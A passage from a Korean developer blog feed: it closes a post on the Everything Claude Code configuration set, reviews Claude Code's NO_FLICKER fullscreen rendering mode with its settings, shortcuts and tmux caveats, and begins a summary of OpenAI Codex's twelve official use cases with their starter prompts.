ECC 제작자 본인도 "설정은 거대한 아키텍처 설계가 아니라, 미세 조정의 관점으로 접근하라"고 반복 강조한다. 모든 기능을 한 번에 설치하기보다, 주 사용 언어의 에이전트와 스킬부터 선택적으로 시작하는 것이 현실적이다. README를 AI에게 주고 "내 환경에 맞게 설정해줘"라고 요청하는 것도 좋은 방법이다.

11. 결론

Everything Claude Code는 단순한 설정 파일 모음이 아니라, AI 코딩 에이전트를 위한 종합 하네스 시스템이다. "설정은 거대한 아키텍처가 아니라 미세 조정"이라는 제작자의 철학대로, 필요한 구성요소만 선택적으로 도입하는 것이 핵심이다.

핵심 요약

통합 시스템: 에이전트 + 스킬 + 명령어 + 훅 + 규칙이 유기적 피드백 루프로 동작
크로스 플랫폼: Claude Code, Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화
실전 검증: Anthropic 해커톤 우승 + 10개월 이상 집중 사용 노하우
보안 내장: AgentShield 스캐너 + 종합 보안 가이드 + CVE 대응
자가 학습: Continuous Learning v2로 세션에서 패턴을 학습하여 스킬로 진화

Claude Code를 사용 중이라면 ECC의 3대 가이드(Shortform → Longform → Security) 순서로 읽어보는 것을 권장한다. 처음 접하는 경우 Shortform Guide부터 시작하여 전체 구조를 파악한 뒤, 자신의 주 사용 언어에 맞는 에이전트와 스킬을 선택적으로 설치하는 것이 효과적이다.

다음 단계 체크리스트

Shortform Guide 읽기 (약 15분)
Claude Code에 ECC 플러그인 설치 또는 npx ecc [언어]
/plan 명령어로 현재 프로젝트에서 테스트
보안 점검: npx ecc-agentshield scan
(선택) Longform Guide로 고급 패턴 학습

시작하기

가장 간단한 방법: Claude Code에서 /plugin marketplace add affaan-m/everything-claude-code를 실행한다. 또는 npx ecc typescript로 npm을 통해 설치할 수 있다.
공식 저장소: github.com/affaan-m/everything-claude-code

참고 자료

Everything Claude Code GitHub — 공식 저장소
ecc.tools — 공식 웹사이트
Medium: The Repo That Won Anthropic Hackathon — Joe Njenga
Dev Genius: The Claude Code setup that won a hackathon — JP Caparas
AgentShield GitHub — 보안 스캐너
2026년 4월 3일 기준으로 재검증한 정보. 프로젝트가 빠르게 발전 중이므로, 최신 내용은 공식 저장소와 Claude Code 공식 문서를 함께 확인하는 것이 좋다.

Claude Code NO_FLICKER(깜빡임 없는 풀스크린 렌더링 모드) 리뷰 : 화면 깜빡임과 스크롤 점프가 정말 사라질까

갓대희 — Thu, 2 Apr 2026 19:30:36 +0900

안녕하세요! 갓대희 입니다.

이번 글에서는 Claude Code의 새로운 풀스크린 렌더링 모드, NO_FLICKER를 리뷰한다.

소개 — 터미널 깜빡임, 왜 문제인가
활성화 방법 — 설치와 설정
핵심 기능 상세 — 무엇이 달라지는가
기술 아키텍처 분석 — 렌더링 파이프라인
소스코드 핵심 분석 — 렌더러 내부 구조
활용법 — 마우스 지원과 단축키
실전 사용 예시 — 구체적 시나리오
트레이드오프 상세 — 무엇을 잃는가
제한사항 및 주의사항
트러블슈팅 Q&A + 결론

이 글의 핵심 요약

CLAUDE_CODE_NO_FLICKER=1 환경변수 하나로 활성화
Alternate screen buffer + Viewport 가상화로 깜빡임 근본 제거
마우스 지원, 단축키 스크롤, Transcript 모드 포함
tmux -CC 환경 제외 대부분의 시나리오에서 켜는 것이 이득
2026년 4월 2일 기준 research preview (v2.1.88+)

1. 소개 — 터미널 깜빡임, 왜 문제인가

Claude Code를 VS Code 통합 터미널이나 tmux에서 사용하다 보면, 도구 출력이 스트리밍되는 동안 화면이 깜빡이거나 스크롤 위치가 맨 위로 점프하는 현상을 경험한다.

GitHub Issues에서 관련 이슈가 총 1,300건 이상의 업보트를 받았다 (Issue #3648: 694, #1913: 315, #769: 291, 2026-04-02 GitHub API 기준). 9개월간 미해결이었던 이 문제가 2026년 4월, NO_FLICKER 모드로 해결되었다.

실제 사용자 화면 사례

아래 영상들은 NO_FLICKER가 도입되기 전 실제 사용자가 올린 재현 사례다. VS Code 통합 터미널, Cursor, WSL/Windows Terminal처럼 이슈가 자주 보고된 환경을 중심으로 골랐다.

사례 1. 도구 실행 중 화면 깜빡임

Claude가 작업을 수행하는 동안 터미널 전체가 반복적으로 다시 그려지는 장면을 보여주는 대표 사례다.

출처: GitHub Issue #769 — 영상 원본 보기

사례 2. VS Code 터미널, macOS 재현

VS Code 터미널 환경에서 다시 발생한 깜빡임 사례로, 스크롤백이 흔들리듯 다시 보이는 현상을 확인할 수 있다.

출처: GitHub Issue #392 댓글 — 영상 원본 보기

사례 3. 장시간 세션에서의 Terminal Flickering

대화가 길어졌을 때 깜빡임이 심해지는 패턴을 보여주는 보고다. 여러 사용자들이 같은 이슈에 합류했다.

출처: GitHub Issue #1913 — 영상 원본 보기

근본 원인은 ANSI escape code의 구조적 한계에 있다. 터미널 UI 프로그램은 ANSI escape code로 커서를 이동(CSI n;m H)하고 텍스트를 그린다. 문제는 viewport 밖의 행을 다시 그리는 ANSI 코드가 존재하지 않는다는 점이다. 화면을 갱신하려면 CSI 2J(Erase in Display)로 전체 화면을 지우고 다시 그려야 한다 — 이것이 flickering의 근본 원인이다.

이 글에서는 NO_FLICKER 모드의 활성화 방법, 작동 원리, 트레이드오프, tmux 호환성, 소스코드 구조까지 다룬다. 2026년 4월 2일 기준, 공식 문서와 소스코드를 근거로 작성했다.

2. 활성화 방법 — 설치와 설정

NO_FLICKER(Fullscreen rendering)는 opt-in research preview이며, Claude Code v2.1.88 이상이 필요하다. CHANGELOG에서는 v2.1.89(2026-04-01)에 해당 기능이 추가된 것으로 기록되어 있으며, 공식 문서는 v2.1.88+로 표기한다.

2.1 일회성 실행

CLAUDE_CODE_NO_FLICKER=1 claude

2.2 영구 설정

셸 프로파일(~/.zshrc 또는 ~/.bashrc)에 다음을 추가한다:

export CLAUDE_CODE_NO_FLICKER=1

2.3 비활성화

CLAUDE_CODE_NO_FLICKER=0으로 설정하거나 환경변수를 해제한다.

3. 핵심 기능 상세 — 무엇이 달라지는가

3.1 Alternate Screen Buffer

Fullscreen rendering은 터미널의 alternate screen buffer에 인터페이스를 그린다. vim이나 htop처럼 동작하는 방식이다.

ANSI escape code CSI ?1049h로 alternate screen buffer를 활성화하고, CSI ?1049l로 비활성화한다.

전통적인 CLI 도구들(vim, htop 등)이 사용하는 동일한 기법으로, 터미널의 scrollback을 보존하면서 별도 버퍼에서 작업한 뒤 종료 시 원래 화면으로 복원한다.

"fullscreen"이라는 용어는 터미널 창 최대화와 무관하다. vim처럼 터미널의 drawing surface를 인수하는 것을 의미하며, 어떤 창 크기에서도 동작한다.

3.2 뷰포트 가상화(Viewport Virtualization)

NO_FLICKER 렌더러는 전체 viewport를 가상화한다.

현재 보이는 메시지만 렌더 트리에 유지하므로, 터미널로 보내는 데이터가 줄어든다. 키보드와 마우스 이벤트를 후킹하여 스크롤을 구현하고, 렌더링 제어를 애플리케이션 레이어로 이동시킨다.

이것이 의미하는 바는 다음과 같다 — 기존 렌더러가 "터미널에 ANSI 코드를 보내고 터미널이 알아서 그리게 하는" 방식이었다면, NO_FLICKER는 "애플리케이션이 viewport 전체를 직접 관리하는" 방식으로 전환한 것이다.

3.3 깜빡임 제거 메커니즘

Claude Code TUI 엔지니어 chrislloyd는 HN에서 기존 렌더러의 구조를 설명했다: 각 프레임마다 React로 scene graph를 구성하고, layout을 잡고, 2D 스크린으로 rasterize한 뒤, 이전 스크린과 diff를 수행한다. 기존 모드는 scrollback을 사용하므로(사용자 기대) 변경 시 전체를 지우고 다시 그려야 했고, 이것이 tearing/flickering의 원인이었다.

NO_FLICKER 모드는 alternate screen buffer 위에서 diff 기반 업데이트만 수행하므로 전체 화면 지우기가 필요 없다.

4. 기술 아키텍처 분석 — 렌더링 파이프라인

4.1 전체 파이프라인

sathwick의 분석에 따르면, Claude Code의 렌더링 파이프라인은 다음과 같다:

React Components
  → Custom React Reconciler (createReconciler API)
  → Virtual DOM Tree
  → Yoga Layout Engine (flexbox)
  → Output Builder (write/blit/clip/clear/shift)
  → Screen Buffer (2D cell array, interned styles/hyperlinks)
  → Diff Engine
  → ANSI Escape Sequences
  → TTY

4.2 더블 버퍼링과 인터닝 풀

렌더러는 더블 버퍼링(front/back 프레임 포인터 스왑)과 blitting(이전 프레임의 변경 없는 영역 복사) 기법을 사용한다. Screen Buffer는 3개의 인터닝 풀을 사용한다: CharPool, StylePool(사전 계산된 전환 시퀀스로 O(1) 룩업), HyperlinkPool.

4.3 성능 특성

입력 상자가 화면 하단에 고정되며, 출력이 스트리밍될 때 이동하지 않는다. 보이는 메시지만 렌더 트리에 유지하므로 대화 길이와 무관하게 메모리가 일정하다. boris_cherny(Anthropic 엔지니어, Claude Code 리드)도 "대화가 길어져도 일정한 메모리와 CPU 사용"을 장점으로 꼽았다.

성능 최적화 과정에서 두 가지 주요 이슈가 있었다:

과도한 JSX 할당으로 인한 예측 불가 GC 일시정지 — 더 많은 할당은 더 많은 GC를, VM이 잠기는 프레임 증가를 의미한다.
더블 버퍼링의 메모리 압박 — packed TypedArray로 전환하여 해결했다.

한 줄로 요약하면: 기존 렌더러는 대화가 길어질수록 메모리와 CPU가 증가했지만, NO_FLICKER는 viewport 가상화 덕분에 대화 길이와 무관하게 일정한 리소스를 사용한다.

5. 소스코드 핵심 분석 — 렌더러 내부 구조

Claude Code는 오픈소스(https://github.com/anthropics/claude-code)이므로 렌더러의 핵심 구조를 확인할 수 있다. topic_type_modifier가 feature-guide이므로 코드 분석은 가볍게 다룬다.

5.1 ScrollBox와 하드웨어 스크롤

ScrollBox는 가능한 경우 DECSTBM(하드웨어 스크롤 영역)을 사용한다. 터미널 타입별로 drain rate를 조절하는데, 네이티브 터미널은 프레임당 약 3/4, xterm.js(VS Code 등)는 적응형 스테핑을 사용한다.

5.2 Diff Engine과 ANSI 출력

Diff Engine은 이전 프레임과 현재 프레임을 셀 단위로 비교하여 변경된 부분만 ANSI escape sequence로 출력한다. 더블 버퍼링의 front/back 프레임 포인터 스왑이 이 과정을 효율적으로 만든다.

5.3 flickering의 역사적 맥락

2025년 3월부터 문제가 보고되기 시작했고, 초기 fix에서 differential renderer를 도입했지만, HN 토론에서 공개된 내부 데이터에 따르면 세션의 약 1/3에서 여전히 최소 1회의 flicker가 발생했다. DEC mode 2026(synchronized output) 패치가 VS Code 터미널과 tmux에 수용되었으며, Ghostty는 이미 이 표준을 지원하고 있었다.

6. 활용법 — 마우스 지원과 단축키

6.1 마우스 인터랙션 (v2.1.88+)

NO_FLICKER 모드는 터미널에서 마우스 지원을 제공한다:

동작	설명
프롬프트 입력 내 클릭	커서 위치 이동
접힌 도구 결과 클릭	확장/축소
URL/파일 경로 클릭	열기
클릭-드래그	텍스트 선택 (더블클릭=단어, 트리플클릭=줄)
마우스 휠	대화 스크롤

선택한 텍스트는 마우스 릴리스 시 자동으로 클립보드에 복사된다. /config에서 "Copy on select"를 끌 수 있으며, 끈 경우 Ctrl+Shift+c로 수동 복사한다. kitty 키보드 프로토콜을 지원하는 터미널(kitty, WezTerm, Ghostty, iTerm2)에서는 Cmd+c도 동작한다.

6.2 스크롤 단축키 (v2.1.88+)

키	동작
`PgUp` / `PgDn`	반 화면 스크롤
`Ctrl+Home`	대화 시작으로 이동
`Ctrl+End`	최신 메시지로 이동 + 자동 팔로우 재개
마우스 휠	몇 줄씩 스크롤

MacBook에서는 Fn+화살표 조합을 사용한다. 이 단축키들은 리바인딩 가능하며, 액션 이름은 scroll:pageUp, scroll:pageDown, scroll:top, scroll:bottom 등이다. 기본 바인딩이 없는 추가 액션으로 scroll:lineUp, scroll:lineDown, scroll:halfPageUp, scroll:halfPageDown, scroll:fullPageUp, scroll:fullPageDown도 있다.

6.3 스크롤 속도 조정 (v2.1.88+)

CLAUDE_CODE_SCROLL_SPEED 환경변수로 마우스 휠 스크롤 속도를 조정한다:

export CLAUDE_CODE_SCROLL_SPEED=3

1~20 범위이며, 3이 vim 기본값과 동일하다. VS Code 통합 터미널 등은 노치당 1 이벤트만 보내 느릴 수 있으므로, 이 경우 값을 높이는 것이 권장된다.

6.4 Transcript 모드 (v2.1.88+)

Ctrl+o로 transcript 모드에 진입한다. less 스타일 네비게이션과 검색을 지원한다:

키	동작
`/`	검색 열기
`n` / `N`	다음/이전 매치
`j` / `k` 또는 `↑` / `↓`	한 줄 스크롤
`g` / `G` 또는 `Home` / `End`	상단/하단 이동
`Ctrl+u` / `Ctrl+d`	반 페이지 스크롤
`Ctrl+b` / `Ctrl+f` 또는 `Space` / `b`	전체 페이지 스크롤
`Esc`, `q`, `Ctrl+o`	나가기
`[`	전체 대화를 네이티브 스크롤백 버퍼에 쓰기 (Cmd+f 사용 가능)
`v`	임시 파일로 저장 후 $VISUAL/$EDITOR에서 열기

transcript 모드에서 [를 누르면 전체 대화를 터미널의 네이티브 스크롤백 버퍼에 쓴다. 이후 Cmd+f, tmux copy mode 등 네이티브 도구가 작동한다. v를 누르면 임시 파일로 저장 후 $VISUAL 또는 $EDITOR에서 연다.

7. 실전 사용 예시 — 구체적 시나리오

7.1 VS Code 통합 터미널에서 깜빡임 해결

VS Code 통합 터미널은 xterm.js 기반이며, 렌더링 처리량이 병목인 대표적 환경이다. Claude Code가 도구 출력을 스트리밍하는 동안 화면이 깜빡이거나 스크롤 위치가 맨 위로 점프하는 현상이 발생한다.

해결: ~/.zshrc에 export CLAUDE_CODE_NO_FLICKER=1을 추가한다. 추가로 VS Code 터미널에서 마우스 휠 스크롤이 느리다면 export CLAUDE_CODE_SCROLL_SPEED=5 정도로 높이는 것이 도움이 된다.

7.2 tmux 환경에서의 설정

tmux에서 마우스 휠 스크롤을 사용하려면 ~/.tmux.conf에 다음을 추가해야 한다:

# ~/.tmux.conf
set -g mouse on

키보드 스크롤(PgUp/PgDn)은 mouse 설정 없이도 동작한다.

주의: tmux -CC(iTerm2 통합 모드)와는 비호환이다. alternate screen buffer와 마우스 트래킹이 정상 작동하지 않는다.

7.3 클립보드 경로 이해

클립보드 복사 경로는 환경에 따라 다르다:

tmux 내: tmux paste buffer에 쓴다
SSH 환경: OSC 52 이스케이프 시퀀스로 폴백 (일부 터미널에서 기본 차단)
복사 후 어떤 경로를 사용했는지 토스트로 표시된다

8. 트레이드오프 — 무엇을 잃는가

NO_FLICKER 모드는 깜빡임을 제거하는 대가로 기존 터미널 동작 일부를 변경한다.

boris_cherny도 X/Twitter에서 이 트레이드오프를 솔직하게 공개했다.

출처: boris_cherny X/Twitter — NO_FLICKER의 장점과 트레이드오프 설명

8.1 Before/Now 비교표

기존 동작	NO_FLICKER 모드 (v2.1.88+)	우회 방법
`Cmd+f` 또는 tmux 검색	`Ctrl+o` → `/`로 인앱 검색	`Ctrl+o` → `[`로 네이티브 스크롤백에 쓴 뒤 `Cmd+f` 사용
네이티브 클릭-드래그 선택/복사	인앱 선택, 마우스 릴리스 시 자동 복사	`/config`에서 "Copy on select" 끄고 `Ctrl+Shift+c` 수동 복사
`Cmd`-클릭으로 URL 열기	클릭으로 URL 열기	해당 없음 (더 간편해짐)

출처: 공식 문서

이 표에서 주목할 점은 세 번째 행이다 — URL 열기는 오히려 더 간편해진다. 가장 큰 불편은 네이티브 Cmd+f 검색의 부재인데, Ctrl+o → [로 네이티브 스크롤백에 쓰는 우회 방법이 공식적으로 제공된다.

8.2 마우스 캡처 비활성화 옵션 (v2.1.88+)

마우스 캡처가 워크플로우를 방해하는 경우, CLAUDE_CODE_DISABLE_MOUSE=1로 마우스 캡처만 비활성화할 수 있다:

CLAUDE_CODE_NO_FLICKER=1 CLAUDE_CODE_DISABLE_MOUSE=1 claude

flicker-free 렌더링과 flat memory는 유지하면서 키보드 스크롤은 계속 동작한다. 대신 클릭-투-커서, 클릭-투-확장, URL 클릭, 휠 스크롤을 잃는다. 터미널이 네이티브로 선택을 처리하게 된다.

9. 제한사항 및 주의사항

9.1 Research Preview 상태

NO_FLICKER는 research preview이다. 일반적인 터미널 에뮬레이터에서 테스트되었지만, 드문 터미널이나 특이한 설정에서는 렌더링 문제가 발생할 수 있다.

9.2 tmux -CC 비호환

iTerm2의 tmux 통합 모드(tmux -CC)에서는 alternate screen buffer와 마우스 트래킹이 정상 작동하지 않는다.

9.3 SSH 환경의 클립보드

SSH 환경에서 복사 시 OSC 52 이스케이프 시퀀스로 폴백하는데, 일부 터미널에서 기본 차단된다. 해당 터미널의 설정에서 OSC 52를 허용해야 한다.

9.4 스크롤 가속도 차이

boris_cherny에 따르면, 스크롤 가속도가 기기마다 다르며 물리감 튜닝이 진행 중이다.

9.5 문제 보고 방법

문제 발생 시 /feedback 명령 또는 GitHub Issues에 터미널 에뮬레이터 이름과 버전을 포함하여 보고한다.

10. 트러블슈팅 Q&A + 결론

Q&A

Q. NO_FLICKER 모드를 켰는데 마우스 휠 스크롤이 안 된다.

tmux 환경이라면 set -g mouse on이 ~/.tmux.conf에 있는지 확인한다. 키보드 스크롤(PgUp/PgDn)은 mouse 설정 없이도 동작한다.

Q. Cmd+f로 검색이 안 된다.

NO_FLICKER 모드에서는 Ctrl+o → /로 인앱 검색을 사용한다. 네이티브 검색이 필요하면 Ctrl+o → [로 대화 전체를 네이티브 스크롤백에 쓴 뒤 Cmd+f를 사용한다.

Q. tmux -CC에서 화면이 깨진다.

tmux -CC(iTerm2 통합 모드)와 NO_FLICKER는 비호환이다. 일반 tmux 세션을 사용하거나, NO_FLICKER를 비활성화해야 한다.

Q. 스크롤이 너무 느리다.

CLAUDE_CODE_SCROLL_SPEED를 3~5 정도로 설정한다. 3이 vim 기본값과 동일하다.

Q. 되돌리고 싶다.

CLAUDE_CODE_NO_FLICKER=0으로 설정하거나 환경변수를 해제한다.

커뮤니티 반응 종합

HN 토론에서는 두 가지 시각이 대립했다:

flickering 해결을 환영하면서도, "기본적인 TUI 문제가 9개월이나 걸렸다"는 비판
React/JavaScript 기반 TUI 선택에 대한 의문 — ncurses, Rust의 Ratatui, Go의 Bubbletea 같은 전통 프레임워크가 적합하지 않았냐는 지적

두 비판 모두 근거가 있으나, React 기반 선택은 Claude Code의 복잡한 렌더링 요구(scene graph, layout, diff)에서 비롯된 것이며, 단순한 TUI 출력 도구와 직접 비교하기 어렵다.

이에 대해 chrislloyd는 HN에서 React 기반 파이프라인의 기술적 이유를 설명했다. 핵심은 Claude Code의 렌더링이 단순한 TUI가 아니라 React scene graph → layout → rasterize → diff라는 복잡한 파이프라인이라는 점이다.

boris_cherny는 X/Twitter에서 "대부분의 내부 사용자가 기존 렌더러보다 NO_FLICKER 모드를 선호한다"고 밝혔다. 적극적으로 반복 개선 중이며 피드백을 요청했다.

"언제 쓰는가 / 언제 쓰지 않는가" 결정 매트릭스

환경/상황	권장	이유
VS Code 통합 터미널	켜라	xterm.js 렌더링 병목에서 효과가 가장 두드러진다
tmux (일반 세션)	켜라	`set -g mouse on` 추가 후 사용
iTerm2 (독립 실행)	켜라	kitty 키보드 프로토콜 지원으로 Cmd+c도 동작
tmux -CC (iTerm2 통합)	쓰지 마라	alternate screen buffer 비호환
긴 대화 세션 (100+ 턴)	켜라	대화 길이와 무관하게 일정한 메모리/CPU
SSH + OSC 52 미지원 터미널	주의	클립보드 복사가 작동하지 않을 수 있다
드문/특이한 터미널 에뮬레이터	테스트 후 결정	research preview 상태, 렌더링 이슈 가능
마우스 없이 키보드만 사용	켜되 DISABLE_MOUSE=1 병용	flicker-free + flat memory 유지, 네이티브 선택 사용

요약하면, tmux -CC 환경이나 SSH over tmux 클립보드 경로가 불안정한 경우를 제외한 대부분의 시나리오에서 NO_FLICKER 모드를 켜는 것이 이득이다.

도입 플레이북

오늘: CLAUDE_CODE_NO_FLICKER=1 claude로 현재 세션에서 테스트한다. 5분간 도구 호출이 많은 작업을 수행하며 깜빡임이 사라졌는지 확인한다.

이번 주: 문제가 없다면 셸 프로파일에 export CLAUDE_CODE_NO_FLICKER=1을 추가한다. tmux 사용자는 set -g mouse on도 확인한다. 스크롤 속도가 맞지 않으면 CLAUDE_CODE_SCROLL_SPEED=3으로 조정한다.

운영 반영: 팀 공유 dotfiles에 해당 환경변수를 추가한다. 단, tmux -CC 사용자가 있다면 해당 환경에서는 제외해야 한다. research preview 상태이므로 주요 업데이트 시 공식 문서를 재확인한다.

정리

NO_FLICKER 모드는 CLAUDE_CODE_NO_FLICKER=1 하나로 활성화되며, alternate screen buffer와 viewport 가상화를 통해 터미널 깜빡임을 근본적으로 제거한다. tmux -CC 환경을 제외한 대부분의 사용 환경에서 켜는 것이 이득이다.

참고자료

OpenAI Codex 공식 유즈케이스 12가지 살펴보기 : Codex로 뭘 할 수 있나? 공식 12가지 사례 한국어 정리

갓대희 — Thu, 2 Apr 2026 00:13:33 +0900

안녕하세요! 갓대희 입니다.

오늘은 OpenAI Codex 공식 유즈케이스 12가지, Codex로 뭘 할 수 있나 공식문서를 리뷰해보려고한다.

Codex가 뭔지 모르는 사람을 위한 30초 정리
왜 지금 이 공식 문서가 중요한가
12가지 유즈케이스 전체 지도
Engineering 심층: PR 리뷰 · 코드베이스 이해 · 어려운 문제 반복
Front-end 심층: 반응형 디자인 · Figma→코드
Data & Automation: 데이터 분석 · 슬라이드 · Slack · API 업그레이드
Mobile & ChatGPT: iOS 앱 · ChatGPT 앱 · 브라우저 게임
스타터 프롬프트 패턴 분석
한국 개발자를 위한 실전 시작 로드맵
결론: 공식 유즈케이스의 진짜 가치
부록: 이 글을 만든 AI 워크플로우 (/deep-research-blog)
참고 자료

이 글 3줄 요약

OpenAI가 Codex 공식 활용 사례 12가지를 카테고리·난이도·스타터 프롬프트와 함께 정리했다.
"뻔한 내용"이라는 반응을 뒤집는 심층 분석: 프롬프트 패턴과 AGENTS.md 시스템이 핵심이다.
초보자는 Easy 4개(PR 리뷰, 코드베이스 이해, Slack, 슬라이드 덱)부터, 중급자는 Intermediate 5개로 확장하면 된다.

1. Codex가 뭔지 모르는 사람을 위한 30초 정리

OpenAI Codex는 코드를 생성·이해·검토·디버그하는 AI 코딩 에이전트이다.

ChatGPT의 채팅 인터페이스와 달리 클라우드 환경에서 독립적으로 긴 작업을 수행한다. 사용자가 지시하면 Codex는 파일을 읽고, 코드를 수정하고, 테스트를 실행하고, 결과를 반환한다.

공식 문서에 따르면 Codex는 다음 구독 플랜에서 사용 가능하다: ChatGPT Plus, Pro, Business, Edu, Enterprise.

(출처: developers.openai.com/codex)

인터페이스	설명
Codex App	프로젝트 사이드바, 스레드 목록, 리뷰 패널이 있는 데스크톱 앱
IDE Extension	슬래시 커맨드를 지원하는 IDE 통합 플러그인
CLI	터미널 기반 인터페이스 (레퍼런스 문서 포함)
Web Interface	환경 관리 기능이 있는 클라우드 웹 인터페이스
Integrations	GitHub, Slack, Linear 연동 지원

Claude Code와의 차이점: Claude Code는 로컬 터미널에서 실행되는 Anthropic의 CLI 도구다. Codex는 OpenAI의 클라우드 에이전트로 GitHub·Slack 통합에 강하다. 각자의 생태계에 최적화되어 있다.

2. 왜 지금 이 공식 문서가 중요한가

2026년 3월, OpenAI는 공식 Codex Use Cases 페이지를 공개했다. 한국 개발자 커뮤니티 GeekNews에서 이 소식이 공유됐을 때, 한 개발자는 "공식 활용 예제라 기대했더니 뻔한 내용밖에 없네"라는 댓글을 달았다. (출처: GeekNews #27938)

제목만 보면 그 반응이 맞다. "PR 리뷰", "데이터 분석"이라는 이름만 놓고 보면 2023년부터 봐온 내용과 다를 게 없어 보인다. 각 페이지를 직접 열어봐야 다르다는 걸 알 수 있다.

① 검증된 스타터 프롬프트가 공개됐다

각 유즈케이스에는 바로 복사해서 쓸 수 있는 스타터 프롬프트가 있다. "Iterate on difficult problems" 페이지의 프롬프트는 eval-driven improvement loop를 구현하는 300자 짜리 구조화된 명령어다. 이걸 처음부터 직접 짜려면 꽤 오래 걸린다.

② AGENTS.md 시스템의 실전 예시가 담겨 있다

Codex는 저장소의 AGENTS.md 파일을 읽고 행동 지침으로 삼는다. PR 리뷰 유즈케이스는 "P0 이슈로 오탈자를 플래그하라"는 구체적인 지시 예시를 보여준다. AGENTS.md를 어떻게 쓰느냐가 Codex 결과물 품질을 직접 결정한다.

③ 스킬/플러그인 생태계의 공식 로드맵이다

각 유즈케이스에는 함께 사용하는 공식 스킬이 명시된다: $playwright-interactive, Figma MCP, $imagegen, $openai-docs 등. 이 목록은 OpenAI가 공식 문서에서 각 유즈케이스와 함께 명시한 스킬/플러그인들이다.

정리: 각 페이지 안에는 난이도 표시, 소요 시간, 실전 프롬프트, 관련 스킬이 들어 있다. 일부 페이지에는 AGENTS.md 예시도 포함된다. 제목만 봤을 때와 실제로 들어갔을 때 느낌이 다르다.

3. 12가지 유즈케이스 전체 지도

공식 페이지의 12가지 유즈케이스를 난이도·소요 시간·카테고리 기준으로 정리하면 다음과 같다.

(출처: developers.openai.com/codex/use-cases)

#	유즈케이스	카테고리	난이도	소요 시간
추천	PR 자동 리뷰	Integrations, Automation	Easy	5초
추천	반응형 프론트엔드 디자인	Front-end, Design	Intermediate	1시간
	데이터셋 분석 및 리포트	Data, Analysis	Intermediate	1시간
	ChatGPT 앱 만들기	Integrations, Code	Advanced	1시간
	iOS / macOS 앱 빌드	Mobile, Code	Advanced	1시간
	브라우저 게임 만들기	Engineering, Code	Intermediate	장시간
	슬라이드 덱 자동 생성	Data, Automation	Easy	30분
	어려운 문제 반복 풀기	Engineering, Analysis	Advanced	장시간
	Slack 코딩 태스크	Integrations, Automation	Easy	5분
	Figma 디자인 → 코드	Front-end, Design	Intermediate	1시간
	대형 코드베이스 이해	Engineering, Analysis	Easy	5분
	API 인테그레이션 업그레이드	Engineering, Code	Intermediate	1시간

추천 = Featured (OpenAI 추천). 출처: developers.openai.com/codex/use-cases, 2026-03-30 기준

한 줄 종합: Easy 4개(PR 리뷰 5초, 코드베이스 이해 5분, Slack 5분, 슬라이드 덱 30분)가 진입 장벽이 가장 낮다. Advanced 3개(ChatGPT 앱, iOS 앱, 어려운 문제 반복)는 특정 플랫폼 또는 긴 세션 경험이 필요하다.

4. Engineering 심층: PR 리뷰 · 코드베이스 이해 · 어려운 문제 반복

4-1. PR 자동 리뷰 (Easy / 5초)

가장 빠르게 팀에 도입할 수 있는 유즈케이스다. GitHub 통합 설정 후 모든 PR에 자동 리뷰를 켜거나, PR 댓글에 @codex review를 입력하는 방식으로 사용한다. Codex가 이슈를 발견하면 @codex fix it으로 클라우드 태스크를 시작해 수정도 가능하다.

공식 스타터 프롬프트:

@codex review for security regressions, missing tests, and risky behavior changes.

AGENTS.md에 리뷰 지침을 추가하면 Codex가 해당 기준으로 일관되게 검토한다. Codex는 가장 가까운 AGENTS.md를 각 변경 파일에 적용하므로, 패키지별로 더 세밀한 지침을 배치할 수 있다.

## Review guidelines

- Flag typos and grammar issues as P0 issues.
- Flag potential missing documentation as P1 issues.
- Flag missing tests as P1 issues.

4-2. 대형 코드베이스 이해 (Easy / 5분)

새로운 저장소에 합류했거나 익숙하지 않은 기능을 수정해야 할 때 가장 먼저 사용할 수 있는 유즈케이스다. 요청 흐름을 추적하고, 모듈 오너십을 파악하며, 수정 전에 확인해야 할 파일 목록을 받을 수 있다.

공식 스타터 프롬프트:

Explain how the request flows through <name of the system area> in the codebase.
Include: which modules own what, where data is validated, and the top gotchas
to watch for before making changes. End with the files I should read next.

초기 설명 이후 다음과 같은 후속 질문으로 이해를 깊어갈 수 있다: "어느 모듈이 비즈니스 로직을 담당하고 어느 쪽이 트랜스포트/UI 레이어인가?", "검증 로직은 어디에 있고 어떤 전제를 강제하는가?", "변경 후 실행해야 할 테스트는 무엇인가?"

4-3. 어려운 문제 반복 풀기 (Advanced / 장시간)

점수로 측정 가능한 반복 개선이 필요한 문제에 특화된 유즈케이스다. 결정론적 체크(스크립트 점수)와 LLM-as-a-judge 평가를 결합해 목표 점수에 도달할 때까지 Codex가 자율적으로 반복한다.

공식 문서에서 설명하는 핵심 원칙은 다음과 같다: 반복마다 하나의 집중된 변경만 수행하고, 모든 반복을 로그로 기록하며, 점수뿐 아니라 생성된 아티팩트를 직접 확인한다. 목표 점수(예: overall 90%, LLM judge 평균 90%)를 명시해야 Codex가 언제 멈출지를 안다.

공식 스타터 프롬프트 (공식 페이지 원문):

I have a difficult task in this workspace and I want you to run it as an
eval-driven improvement loop.

Before changing anything:
- Read `AGENTS.md`.
- Find the script or command that scores the current output.

Iteration loop:
- Make one focused improvement at a time.
- Re-run the eval command after each meaningful change.
- Log the scores and what changed.
- Inspect generated artifacts directly. If the output is visual, use `view_image`.
- Keep going until both the overall score and the LLM average are above 90%.

Constraints:
- Do not stop at the first acceptable result.
- Do not revert to an earlier version unless the new result is clearly worse in scores or artifacts.
- If the eval improves but is still below target, explain the bottleneck and continue.

Output:
- current best scores
- log of major iterations
- remaining risks or weak spots

주의: 이 유즈케이스는 "long-running" 세션이다. 작업이 몇 시간 이상 걸릴 수 있으며, 평가 스크립트가 사전에 준비되어 있어야 한다. 평가 스크립트 없이 사용하면 개선 방향을 알 수 없다.

5. Front-end 심층: 반응형 디자인 · Figma→코드

5-1. 반응형 프론트엔드 디자인 (Intermediate / 1시간)

스크린샷이나 디자인 브리프를 제공하면 Codex가 저장소의 기존 디자인 시스템과 컴포넌트를 활용해 반응형 UI를 구현한다. 핵심 검증 도구는 $playwright-interactive — 실제 브라우저에서 구현 결과와 레퍼런스를 비교하며 반복 개선한다.

공식 문서가 강조하는 5가지 팁:

구체적으로 지시하라: 인터랙션 패턴과 스타일에 대한 높은 구체성이 더 나은 결과를 낸다.
품질 높은 레퍼런스: 데스크톱, 모바일, 호버, 로딩 등 여러 상태의 스크린샷을 제공하라.
디자인 시스템 먼저: 프리미티브, 토큰, 정식 패턴을 명시적으로 문서화하라.
Playwright 활용: 다양한 화면 크기에서 브라우저 비교로 반복 개선하라.
